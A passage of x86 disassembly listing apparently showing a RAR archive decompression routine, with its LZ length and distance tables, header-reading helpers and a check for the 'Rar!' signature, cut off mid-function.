var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_91 = byte ptr -91h
var_90 = byte ptr -90h
var_8F = byte ptr -8Fh
var_8E = byte ptr -8Eh
var_8D = byte ptr -8Dh
var_8C = byte ptr -8Ch
var_8B = byte ptr -8Bh
var_8A = byte ptr -8Ah
var_89 = byte ptr -89h
var_88 = byte ptr -88h
var_87 = byte ptr -87h
var_86 = byte ptr -86h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_83 = byte ptr -83h
var_82 = byte ptr -82h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_7E = byte ptr -7Eh
var_7D = byte ptr -7Dh
var_7C = byte ptr -7Ch
var_7B = byte ptr -7Bh
var_7A = byte ptr -7Ah
var_79 = byte ptr -79h
var_78 = byte ptr -78h
var_77 = byte ptr -77h
var_76 = byte ptr -76h
var_75 = byte ptr -75h
var_74 = byte ptr -74h
var_73 = byte ptr -73h
var_72 = byte ptr -72h
var_71 = byte ptr -71h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = byte ptr -6Eh
var_6D = byte ptr -6Dh
var_6C = byte ptr -6Ch
var_6B = byte ptr -6Bh
var_6A = byte ptr -6Ah
var_69 = byte ptr -69h
var_68 = byte ptr -68h
var_67 = byte ptr -67h
var_66 = byte ptr -66h
var_65 = byte ptr -65h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_61 = byte ptr -61h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = byte ptr -5Eh
var_5D = byte ptr -5Dh
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = byte ptr -5Ah
var_59 = byte ptr -59h
var_58 = byte ptr -58h
var_57 = byte ptr -57h
var_56 = byte ptr -56h
var_55 = byte ptr -55h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = byte ptr -44h
var_43 = byte ptr -43h
var_42 = byte ptr -42h
var_41 = byte ptr -41h
var_40 = byte ptr -40h
var_3F = byte ptr -3Fh
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
var_3A = byte ptr -3Ah
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_36 = byte ptr -36h
var_35 = byte ptr -35h
var_34 = byte ptr -34h
var_33 = byte ptr -33h
var_32 = byte ptr -32h
var_31 = byte ptr -31h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = byte ptr -2Ah
var_29 = byte ptr -29h
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_25 = byte ptr -25h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 188h
push ebx
xor ebx, ebx
push edi
mov edi, eax
xor eax, eax
inc eax
mov [ebp+70h+var_3C], bl
mov [ebp+70h+var_3B], 1
mov [ebp+70h+var_3A], 2
mov [ebp+70h+var_39], 3
mov [ebp+70h+var_38], 4
mov [ebp+70h+var_37], 5
mov [ebp+70h+var_36], 6
mov [ebp+70h+var_35], 7
mov [ebp+70h+var_34], 8
mov [ebp+70h+var_33], 0Ah
mov [ebp+70h+var_32], 0Ch
mov [ebp+70h+var_31], 0Eh
mov [ebp+70h+var_30], 10h
mov [ebp+70h+var_2F], 14h
mov [ebp+70h+var_2E], 18h
mov [ebp+70h+var_2D], 1Ch
mov [ebp+70h+var_2C], 20h
mov [ebp+70h+var_2B], 28h
mov [ebp+70h+var_2A], 30h
mov [ebp+70h+var_29], 38h
mov [ebp+70h+var_28], 40h
mov [ebp+70h+var_27], 50h
mov [ebp+70h+var_26], 60h
mov [ebp+70h+var_25], 70h
mov [ebp+70h+var_24], 80h
mov [ebp+70h+var_23], 0A0h
mov [ebp+70h+var_22], 0C0h
mov [ebp+70h+var_21], 0E0h
mov [ebp+70h+var_58], bl
mov [ebp+70h+var_57], bl
mov [ebp+70h+var_56], bl
mov [ebp+70h+var_55], bl
mov [ebp+70h+var_54], bl
mov [ebp+70h+var_53], bl
mov [ebp+70h+var_52], bl
mov [ebp+70h+var_51], bl
mov [ebp+70h+var_50], 1
mov [ebp+70h+var_4F], 1
mov [ebp+70h+var_4E], 1
mov [ebp+70h+var_4D], 1
mov [ebp+70h+var_4C], 2
mov [ebp+70h+var_4B], 2
mov [ebp+70h+var_4A], 2
mov [ebp+70h+var_49], 2
mov [ebp+70h+var_48], 3
mov [ebp+70h+var_47], 3
mov [ebp+70h+var_46], 3
mov [ebp+70h+var_45], 3
mov [ebp+70h+var_44], 4
mov [ebp+70h+var_43], 4
mov [ebp+70h+var_42], 4
mov [ebp+70h+var_41], 4
mov [ebp+70h+var_40], 5
mov [ebp+70h+var_3F], 5
mov [ebp+70h+var_3E], 5
mov [ebp+70h+var_3D], 5
mov [ebp+70h+var_188], ebx
mov [ebp+70h+var_184], eax
mov [ebp+70h+var_180], 2
mov [ebp+70h+var_17C], 3
mov [ebp+70h+var_178], 4
mov [ebp+70h+var_174], 6
mov [ebp+70h+var_170], 8
mov [ebp+70h+var_16C], 0Ch
mov [ebp+70h+var_168], 10h
mov [ebp+70h+var_164], 18h
mov [ebp+70h+var_160], 20h
mov [ebp+70h+var_15C], 30h
mov [ebp+70h+var_158], 40h
mov [ebp+70h+var_154], 60h
mov [ebp+70h+var_150], 80h
mov [ebp+70h+var_14C], 0C0h
mov [ebp+70h+var_148], 100h
mov [ebp+70h+var_144], 180h
mov [ebp+70h+var_140], 200h
mov [ebp+70h+var_13C], 300h
mov [ebp+70h+var_138], 400h
mov [ebp+70h+var_134], 600h
mov [ebp+70h+var_130], 800h
mov [ebp+70h+var_12C], 0C00h
mov [ebp+70h+var_128], 1000h
mov [ebp+70h+var_124], 1800h
mov [ebp+70h+var_120], 2000h
mov [ebp+70h+var_11C], 3000h
mov [ebp+70h+var_118], 4000h
mov [ebp+70h+var_114], 6000h
mov [ebp+70h+var_110], 8000h
mov [ebp+70h+var_10C], 0C000h
mov [ebp+70h+var_108], 10000h
mov [ebp+70h+var_104], 18000h
mov [ebp+70h+var_100], 20000h
mov [ebp+70h+var_FC], 30000h
mov [ebp+70h+var_F8], 40000h
mov [ebp+70h+var_F4], 50000h
mov [ebp+70h+var_F0], 60000h
mov [ebp+70h+var_EC], 70000h
mov [ebp+70h+var_E8], 80000h
mov [ebp+70h+var_E4], 90000h
mov [ebp+70h+var_E0], 0A0000h
mov [ebp+70h+var_DC], 0B0000h
mov [ebp+70h+var_D8], 0C0000h
mov [ebp+70h+var_D4], 0D0000h
mov [ebp+70h+var_D0], 0E0000h
mov [ebp+70h+var_CC], 0F0000h
mov [ebp+70h+var_C8], 100000h
mov [ebp+70h+var_C4], 140000h
mov [ebp+70h+var_C0], 180000h
mov [ebp+70h+var_BC], 1C0000h
mov [ebp+70h+var_B8], 200000h
mov [ebp+70h+var_B4], 240000h
mov [ebp+70h+var_B0], 280000h
mov [ebp+70h+var_AC], 2C0000h
mov [ebp+70h+var_A8], 300000h
mov [ebp+70h+var_A4], 340000h
mov [ebp+70h+var_A0], 380000h
mov [ebp+70h+var_9C], 3C0000h
mov [ebp+70h+var_94], bl
mov [ebp+70h+var_93], bl
mov [ebp+70h+var_92], bl
mov [ebp+70h+var_91], bl
mov [ebp+70h+var_90], al
mov [ebp+70h+var_8F], al
mov [ebp+70h+var_8E], 2
mov [ebp+70h+var_8D], 2
mov [ebp+70h+var_8C], 3
mov [ebp+70h+var_8B], 3
mov [ebp+70h+var_8A], 4
mov [ebp+70h+var_89], 4
mov [ebp+70h+var_88], 5
mov [ebp+70h+var_87], 5
mov [ebp+70h+var_86], 6
mov [ebp+70h+var_85], 6
mov [ebp+70h+var_84], 7
mov [ebp+70h+var_83], 7
mov [ebp+70h+var_82], 8
mov [ebp+70h+var_81], 8
mov [ebp+70h+var_80], 9
mov [ebp+70h+var_7F], 9
mov [ebp+70h+var_7E], 0Ah
mov [ebp+70h+var_7D], 0Ah
mov [ebp+70h+var_7C], 0Bh
mov [ebp+70h+var_7B], 0Bh
mov [ebp+70h+var_7A], 0Ch
mov [ebp+70h+var_79], 0Ch
mov [ebp+70h+var_78], 0Dh
mov [ebp+70h+var_77], 0Dh
mov [ebp+70h+var_76], 0Eh
mov [ebp+70h+var_75], 0Eh
mov [ebp+70h+var_74], 0Fh
mov [ebp+70h+var_73], 0Fh
mov [ebp+70h+var_72], 10h
mov [ebp+70h+var_71], 10h
mov [ebp+70h+var_70], 10h
mov [ebp+70h+var_6F], 10h
mov [ebp+70h+var_6E], 10h
mov [ebp+70h+var_6D], 10h
push edi
push [ebp+70h+arg_4]
mov [ebp+70h+var_6C], 10h
mov [ebp+70h+var_6B], 10h
mov [ebp+70h+var_6A], 10h
mov [ebp+70h+var_69], 10h
mov [ebp+70h+var_68], 10h
mov [ebp+70h+var_67], 10h
mov [ebp+70h+var_66], 10h
mov [ebp+70h+var_65], 10h
mov [ebp+70h+var_64], 12h
mov [ebp+70h+var_63], 12h
mov [ebp+70h+var_62], 12h
mov [ebp+70h+var_61], 12h
mov [ebp+70h+var_60], 12h
mov [ebp+70h+var_5F], 12h
mov [ebp+70h+var_5E], 12h
mov [ebp+70h+var_5D], 12h
mov [ebp+70h+var_5C], 12h
mov [ebp+70h+var_5B], 12h
mov [ebp+70h+var_5A], 12h
mov [ebp+70h+var_59], 12h
mov [ebp+70h+var_18], bl
mov [ebp+70h+var_17], 4
mov [ebp+70h+var_16], 8
mov [ebp+70h+var_15], 10h
mov [ebp+70h+var_14], 20h
mov [ebp+70h+var_13], 40h
mov [ebp+70h+var_12], 80h
mov [ebp+70h+var_11], 0C0h
mov [ebp+70h+var_20], 2
mov [ebp+70h+var_1F], 2
mov [ebp+70h+var_1E], 3
mov [ebp+70h+var_1D], 4
mov [ebp+70h+var_1C], 5
mov [ebp+70h+var_1B], 6
mov [ebp+70h+var_1A], 6
mov [ebp+70h+var_19], 6
mov [ebp+70h+var_C], eax
call sub_9B0206
push edi
push [ebp+70h+arg_0]
call sub_9AF2B0
add esp, 10h
test eax, eax
jz short loc_9B0768
cmp [ebp+70h+arg_4], ebx
jz short loc_9B0759
cmp [edi+408014h], ebx
jnz short loc_9B076F
loc_9B0759: ; CODE XREF: sub_9B030E+441j
push [ebp+70h+arg_0]
mov eax, edi
call sub_9AF875
test eax, eax
pop ecx
jnz short loc_9B076F
loc_9B0768: ; CODE XREF: sub_9B030E+43Cj
xor eax, eax
jmp loc_9B0A4A
; ---------------------------------------------------------------------------
loc_9B076F: ; CODE XREF: sub_9B030E+449j
; sub_9B030E+458j
push esi
loc_9B0770: ; CODE XREF: sub_9B030E+5A1j
; sub_9B030E+5DEj ...
mov eax, [edi+408004h]
mov esi, 3FFFFFh
and [edi+40800Ch], esi
cmp eax, [edi+40801Ch]
jle short loc_9B079C
push edi
push [ebp+70h+arg_0]
call sub_9AF2B0
test eax, eax
pop ecx
pop ecx
jz loc_9B0B92
loc_9B079C: ; CODE XREF: sub_9B030E+479j
mov eax, [edi+408010h]
mov ecx, [edi+40800Ch]
mov edx, eax
sub edx, ecx
and edx, esi
cmp edx, 104h
jnb short loc_9B07C1
cmp eax, ecx
jz short loc_9B07C1
mov eax, edi
call sub_9AF4A5
loc_9B07C1: ; CODE XREF: sub_9B030E+4A6j
; sub_9B030E+4AAj
cmp dword ptr [edi+408020h], 1
jnz loc_9B08F1
push edi
push [ebp+70h+arg_0]
lea esi, [edi+408B10h]
push esi
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+70h+var_10], eax
jz loc_9B0B7F
cmp eax, [edi+40D79Ch]
jnz loc_9B08D9
push edi
push [ebp+70h+arg_0]
push esi
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_9B0B92
cmp eax, ebx
jnz short loc_9B0822
push [ebp+70h+arg_0]
mov eax, edi
call sub_9AF875
jmp loc_9B0A60
; ---------------------------------------------------------------------------
loc_9B0822: ; CODE XREF: sub_9B030E+503j
cmp eax, 2
jz loc_9B0A3F
cmp eax, 3
jnz short loc_9B083D
push [ebp+70h+arg_0]
call sub_9B012B
jmp loc_9B0A60
; ---------------------------------------------------------------------------
loc_9B083D: ; CODE XREF: sub_9B030E+520j
cmp eax, 4
jnz short loc_9B08B4
mov [ebp+70h+var_8], ebx
mov [ebp+70h+var_10], ebx
mov [ebp+70h+var_4], ebx
loc_9B084B: ; CODE XREF: sub_9B030E+581j
cmp [ebp+70h+var_10], ebx
jnz loc_9B0B92
push edi
push [ebp+70h+arg_0]
push esi
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_9B086F
mov [ebp+70h+var_10], 1
jmp short loc_9B0888
; ---------------------------------------------------------------------------
loc_9B086F: ; CODE XREF: sub_9B030E+556j
cmp [ebp+70h+var_4], 3
movzx eax, al
jnz short loc_9B087D
mov [ebp+70h+var_98], eax
jmp short loc_9B0888
; ---------------------------------------------------------------------------
loc_9B087D: ; CODE XREF: sub_9B030E+568j
mov ecx, [ebp+70h+var_8]
shl ecx, 8
add ecx, eax
mov [ebp+70h+var_8], ecx
loc_9B0888: ; CODE XREF: sub_9B030E+55Fj
; sub_9B030E+56Dj
inc [ebp+70h+var_4]
cmp [ebp+70h+var_4], 4
jl short loc_9B084B
cmp [ebp+70h+var_10], ebx
jnz loc_9B0B92
mov eax, [ebp+70h+var_8]
mov ecx, [ebp+70h+var_98]
add eax, 2
add ecx, 20h
loc_9B08A6: ; CODE XREF: sub_9B030E+806j
push eax
loc_9B08A7: ; CODE XREF: sub_9B030E+5C6j
; sub_9B030E+77Bj
mov eax, edi
call sub_9AF1C4
loc_9B08AE: ; CODE XREF: sub_9B030E+86Cj
pop ecx
jmp loc_9B0770
; ---------------------------------------------------------------------------
loc_9B08B4: ; CODE XREF: sub_9B030E+532j
cmp eax, 5
jnz short loc_9B08D6
push edi
push [ebp+70h+arg_0]
push esi
call sub_9B25BF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_9B0B92
push 1
lea ecx, [eax+4]
jmp short loc_9B08A7
; ---------------------------------------------------------------------------
loc_9B08D6: ; CODE XREF: sub_9B030E+5A9j
mov eax, [ebp+70h+var_10]
loc_9B08D9: ; CODE XREF: sub_9B030E+4E5j
; sub_9B030E+5F9j
mov ecx, [edi+40800Ch]
mov [ecx+edi+8004h], al
inc dword ptr [edi+40800Ch]
jmp loc_9B0770
; ---------------------------------------------------------------------------
loc_9B08F1: ; CODE XREF: sub_9B030E+4BAj
lea eax, [edi+4081C0h]
push eax
push edi
call sub_9AF7C6
mov edx, 100h
cmp eax, edx
pop ecx
pop ecx
jl short loc_9B08D9
mov ecx, 10Fh
cmp eax, ecx
jl loc_9B0A28
sub eax, ecx
movzx esi, [ebp+eax+70h+var_3C]
movzx eax, [ebp+eax+70h+var_58]
add esi, 3
cmp eax, ebx
mov [ebp+70h+var_8], esi
mov [ebp+70h+var_4], eax
jbe short loc_9B094E
push edi
call sub_9AF27D
push 10h
pop ecx
sub ecx, [ebp+70h+var_4]
push [ebp+70h+var_4]
shr eax, cl
push edi
add esi, eax
mov [ebp+70h+var_8], esi
call sub_9AF25A
add esp, 0Ch
loc_9B094E: ; CODE XREF: sub_9B030E+61Fj
lea eax, [edi+4086F0h]
push eax
push edi
call sub_9AF7C6
mov esi, [ebp+eax*4+70h+var_188]
pop ecx
pop ecx
movzx ecx, [ebp+eax+70h+var_94]
inc esi
cmp ecx, ebx
mov [ebp+70h+var_4], ecx
jbe loc_9B0A02
cmp eax, 9
jle short loc_9B09E6
cmp ecx, 4
jbe short loc_9B09A3
push edi
call sub_9AF27D
mov edx, eax
mov eax, [ebp+70h+var_4]
push 14h
pop ecx
sub ecx, eax
shr edx, cl
add eax, 0FFFFFFFCh
push eax
push edi
shl edx, 4
add esi, edx
call sub_9AF25A
add esp, 0Ch
loc_9B09A3: ; CODE XREF: sub_9B030E+66Fj
mov eax, [edi+408028h]
cmp eax, ebx
jle short loc_9B09B6
dec eax
mov [edi+408028h], eax
jmp short loc_9B09D4
; ---------------------------------------------------------------------------
loc_9B09B6: ; CODE XREF: sub_9B030E+69Dj
lea eax, [edi+408864h]
push eax
push edi
call sub_9AF7C6
cmp eax, 10h
pop ecx
pop ecx
jnz short loc_9B09DC
mov dword ptr [edi+408028h], 0Fh
loc_9B09D4: ; CODE XREF: sub_9B030E+6A6j
add esi, [edi+408024h]
jmp short loc_9B0A02
; ---------------------------------------------------------------------------
loc_9B09DC: ; CODE XREF: sub_9B030E+6BAj
add esi, eax
mov [edi+408024h], eax
jmp short loc_9B0A02
; ---------------------------------------------------------------------------
loc_9B09E6: ; CODE XREF: sub_9B030E+66Aj
push edi
call sub_9AF27D
push 10h
pop ecx
sub ecx, [ebp+70h+var_4]
push [ebp+70h+var_4]
shr eax, cl
push edi
add esi, eax
call sub_9AF25A
add esp, 0Ch
loc_9B0A02: ; CODE XREF: sub_9B030E+661j
; sub_9B030E+6CCj ...
cmp esi, 2000h
jb short loc_9B0A18
inc [ebp+70h+var_8]
cmp esi, 40000h
jb short loc_9B0A18
inc [ebp+70h+var_8]
loc_9B0A18: ; CODE XREF: sub_9B030E+6FAj
; sub_9B030E+705j
push esi
mov eax, edi
call sub_9AF19A
mov ecx, [ebp+70h+var_8]
jmp loc_9B0B65
; ---------------------------------------------------------------------------
loc_9B0A28: ; CODE XREF: sub_9B030E+602j
cmp eax, edx
jnz short loc_9B0A51
push [ebp+70h+arg_0]
mov esi, edi
call sub_9AFB2B
test eax, eax
pop ecx
jnz loc_9B0770
loc_9B0A3F: ; CODE XREF: sub_9B030E+517j
mov eax, edi
call sub_9AF4A5
loc_9B0A46: ; CODE XREF: sub_9B030E+887j
mov eax, [ebp+70h+var_C]
pop esi
loc_9B0A4A: ; CODE XREF: sub_9B030E+45Cj
pop edi
pop ebx
add ebp, 70h
leave
retn
; ---------------------------------------------------------------------------
loc_9B0A51: ; CODE XREF: sub_9B030E+71Cj
cmp eax, 101h
jnz short loc_9B0A6E
push [ebp+70h+arg_0]
call sub_9B0051
loc_9B0A60: ; CODE XREF: sub_9B030E+50Fj
; sub_9B030E+52Aj
test eax, eax
pop ecx
jnz loc_9B0770
jmp loc_9B0B92
; ---------------------------------------------------------------------------
loc_9B0A6E: ; CODE XREF: sub_9B030E+748j
cmp eax, 102h
jnz short loc_9B0A8E
mov ecx, [edi+408B0Ch]
cmp ecx, ebx
jz loc_9B0770
push dword ptr [edi+408B08h]
jmp loc_9B08A7
; ---------------------------------------------------------------------------
loc_9B0A8E: ; CODE XREF: sub_9B030E+765j
cmp eax, 107h
jge loc_9B0B19
add eax, 0FFFFFEFDh
cmp eax, ebx
lea ecx, [edi+eax*4+408AF4h]
mov edx, [ecx]
mov [ebp+70h+var_8], edx
jle short loc_9B0ABF
mov [ebp+70h+var_10], eax
loc_9B0AB1: ; CODE XREF: sub_9B030E+7AFj
dec [ebp+70h+var_10]
lea esi, [ecx-4]
mov eax, [esi]
mov [ecx], eax
mov ecx, esi
jnz short loc_9B0AB1
loc_9B0ABF: ; CODE XREF: sub_9B030E+79Ej
lea eax, [edi+40892Ch]
push eax
push edi
mov [edi+408AF4h], edx
call sub_9AF7C6
movzx esi, [ebp+eax+70h+var_3C]
movzx eax, [ebp+eax+70h+var_58]
inc esi
pop ecx
inc esi
cmp eax, ebx
pop ecx
mov [ebp+70h+var_4], eax
jbe short loc_9B0B03
push edi
call sub_9AF27D
push 10h
pop ecx
sub ecx, [ebp+70h+var_4]
push [ebp+70h+var_4]
shr eax, cl
push edi
add esi, eax
call sub_9AF25A
add esp, 0Ch
loc_9B0B03: ; CODE XREF: sub_9B030E+7D7j
mov eax, [ebp+70h+var_8]
mov [edi+408B08h], eax
mov [edi+408B0Ch], esi
mov ecx, esi
jmp loc_9B08A6
; ---------------------------------------------------------------------------
loc_9B0B19: ; CODE XREF: sub_9B030E+785j
cmp eax, 110h
jge loc_9B0770
movzx esi, byte ptr [ebp+eax+70h+var_120+1]
sub eax, 107h
movzx eax, [ebp+eax+70h+var_20]
inc esi
cmp eax, ebx
mov [ebp+70h+var_4], eax
jbe short loc_9B0B5A
push edi
call sub_9AF27D
push 10h
pop ecx
sub ecx, [ebp+70h+var_4]
push [ebp+70h+var_4]
shr eax, cl
push edi
add esi, eax
call sub_9AF25A
add esp, 0Ch
loc_9B0B5A: ; CODE XREF: sub_9B030E+82Ej
push esi
mov eax, edi
call sub_9AF19A
push 2
pop ecx
loc_9B0B65: ; CODE XREF: sub_9B030E+715j
push esi
mov eax, edi
mov [edi+408B08h], esi
mov [edi+408B0Ch], ecx
call sub_9AF1C4
pop ecx
jmp loc_9B08AE
; ---------------------------------------------------------------------------
loc_9B0B7F: ; CODE XREF: sub_9B030E+4D9j
lea eax, [edi+408B10h]
push eax
call sub_9B24A5
pop ecx
mov [edi+408020h], ebx
loc_9B0B92: ; CODE XREF: sub_9B030E+488j
; sub_9B030E+4FBj ...
mov [ebp+70h+var_C], ebx
jmp loc_9B0A46
sub_9B030E endp
; =============== S U B R O U T I N E =======================================
sub_9B0B9A proc near ; CODE XREF: sub_9B0FE1+13Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
xor eax, eax
cmp [esp+arg_4], 1Dh
jnz short locret_9B0BB6
push [esp+arg_8]
mov eax, [esp+4+arg_C]
push [esp+4+arg_0]
call sub_9B030E
pop ecx
pop ecx
locret_9B0BB6: ; CODE XREF: sub_9B0B9A+7j
retn
sub_9B0B9A endp
; =============== S U B R O U T I N E =======================================
sub_9B0BB7 proc near ; CODE XREF: sub_9B0C53+1Dp
; sub_9B0C53+85p ...
var_2 = byte ptr -2
push ecx
sub eax, 73h
push esi
jz short loc_9B0C0E
dec eax
jz short loc_9B0BC5
loc_9B0BC1: ; CODE XREF: sub_9B0BB7+1Bj
; sub_9B0BB7+64j ...
xor eax, eax
jmp short loc_9B0C01
; ---------------------------------------------------------------------------
loc_9B0BC5: ; CODE XREF: sub_9B0BB7+8j
push 34h ; Size
call malloc
mov esi, eax
test esi, esi
pop ecx
jz short loc_9B0BC1
push 20h ; Size
push esi ; Dst
push edi ; int
call sub_9B3D6A
add esp, 0Ch
cmp eax, 20h
jnz short loc_9B0C2E
test byte ptr [esi+4], 1
jz short loc_9B0C04
push 8 ; Size
lea eax, [esi+20h]
push eax ; Dst
push edi ; int
call sub_9B3D6A
add esp, 0Ch
cmp eax, 8
loc_9B0BFD: ; CODE XREF: sub_9B0BB7+9Aj
jnz short loc_9B0C2E
loc_9B0BFF: ; CODE XREF: sub_9B0BB7+55j
; sub_9B0BB7+85j
mov eax, esi
loc_9B0C01: ; CODE XREF: sub_9B0BB7+Cj
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_9B0C04: ; CODE XREF: sub_9B0BB7+32j
and dword ptr [esi+20h], 0
and dword ptr [esi+24h], 0
jmp short loc_9B0BFF
; ---------------------------------------------------------------------------
loc_9B0C0E: ; CODE XREF: sub_9B0BB7+5j
push 0Dh ; Size
call malloc
mov esi, eax
test esi, esi
pop ecx
jz short loc_9B0BC1
push 0Dh ; Size
push esi ; Dst
push edi ; int
call sub_9B3D6A
add esp, 0Ch
cmp eax, 0Dh
jz short loc_9B0C38
loc_9B0C2E: ; CODE XREF: sub_9B0BB7+2Cj
; sub_9B0BB7:loc_9B0BFDj
push esi ; Memory
call free
pop ecx
jmp short loc_9B0BC1
; ---------------------------------------------------------------------------
loc_9B0C38: ; CODE XREF: sub_9B0BB7+75j
test byte ptr [esi+4], 2
jz short loc_9B0BFF
push 1 ; Size
lea eax, [esp+0Bh]
push eax ; Dst
push edi ; int
call sub_9B3D6A
add esp, 0Ch
cmp eax, 1
jmp short loc_9B0BFD
sub_9B0BB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B0C53 proc near ; CODE XREF: sub_9B0F21+Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push 1
push 0
push edi
call sub_9B3E22
add esp, 0Ch
mov [ebp+var_4], eax
push 74h
pop eax
call sub_9B0BB7
mov esi, eax
test esi, esi
jz short loc_9B0CE3
mov ebx, free
loc_9B0C81: ; CODE XREF: sub_9B0C53+8Ej
movzx eax, word ptr [esi+5]
mov ecx, [ebp+var_4]
add eax, ecx
test byte ptr [esi+4], 80h
mov [esi+2Ch], ecx
mov [esi+30h], eax
jz short loc_9B0C9E
mov edx, [esi+7]
add edx, eax
mov [esi+30h], edx
loc_9B0C9E: ; CODE XREF: sub_9B0C53+41j
mov eax, [esi+30h]
cmp eax, ecx
jle short loc_9B0CEA
movzx ecx, byte ptr [esi+2]
cmp ecx, [ebp+arg_4]
jz short loc_9B0CEF
mov edi, [ebp+arg_0]
push 0
push eax
push edi
call sub_9B3E22
add esp, 0Ch
cmp eax, [esi+30h]
jnz short loc_9B0CE3
push esi ; Memory
call ebx ; free
push 1
push 0
push edi
call sub_9B3E22
add esp, 10h
mov [ebp+var_4], eax
push 74h
pop eax
call sub_9B0BB7
mov esi, eax
test esi, esi
jnz short loc_9B0C81
loc_9B0CE3: ; CODE XREF: sub_9B0C53+26j
; sub_9B0C53+6Dj ...
xor eax, eax
loc_9B0CE5: ; CODE XREF: sub_9B0C53+DEj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9B0CEA: ; CODE XREF: sub_9B0C53+50j
; sub_9B0C53+AEj
push esi ; Memory
call ebx ; free
jmp short loc_9B0D25
; ---------------------------------------------------------------------------
loc_9B0CEF: ; CODE XREF: sub_9B0C53+59j
movzx eax, word ptr [esi+1Ah]
inc eax
push eax ; Size
call malloc
test eax, eax
pop ecx
mov [esi+28h], eax
jz short loc_9B0CEA
movzx ecx, word ptr [esi+1Ah]
movzx edi, word ptr [esi+1Ah]
push ecx ; Size
push eax ; Dst
push [ebp+arg_0] ; int
call sub_9B3D6A
add esp, 0Ch
cmp eax, edi
jz short loc_9B0D28
push dword ptr [esi+28h] ; Memory
call ebx ; free
push esi ; Memory
call ebx ; free
pop ecx
loc_9B0D25: ; CODE XREF: sub_9B0C53+9Aj
pop ecx
jmp short loc_9B0CE3
; ---------------------------------------------------------------------------
loc_9B0D28: ; CODE XREF: sub_9B0C53+C7j
mov eax, [esi+28h]
mov byte ptr [edi+eax], 0
mov eax, esi
jmp short loc_9B0CE5
sub_9B0C53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B0D33 proc near ; CODE XREF: sub_9B0DF4+18p
Buf1 = byte ptr -10h
Buf2 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 7 ; Size
lea eax, [ebp+Buf1]
push eax ; Dst
push [ebp+arg_0] ; int
mov [ebp+Buf2], 52h
mov [ebp+var_7], 61h
mov [ebp+var_6], 72h
mov [ebp+var_5], 21h
mov [ebp+var_4], 1Ah
mov [ebp+var_3], 7
mov [ebp+var_2], 0
call sub_9B3D6A
add esp, 0Ch
cmp eax, 7
jz short loc_9B0D6F
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_9B0D6F: ; CODE XREF: sub_9B0D33+36j
push 7 ; Size
lea eax, [ebp+Buf2]
push eax ; Buf2
lea eax, [ebp+Buf1]
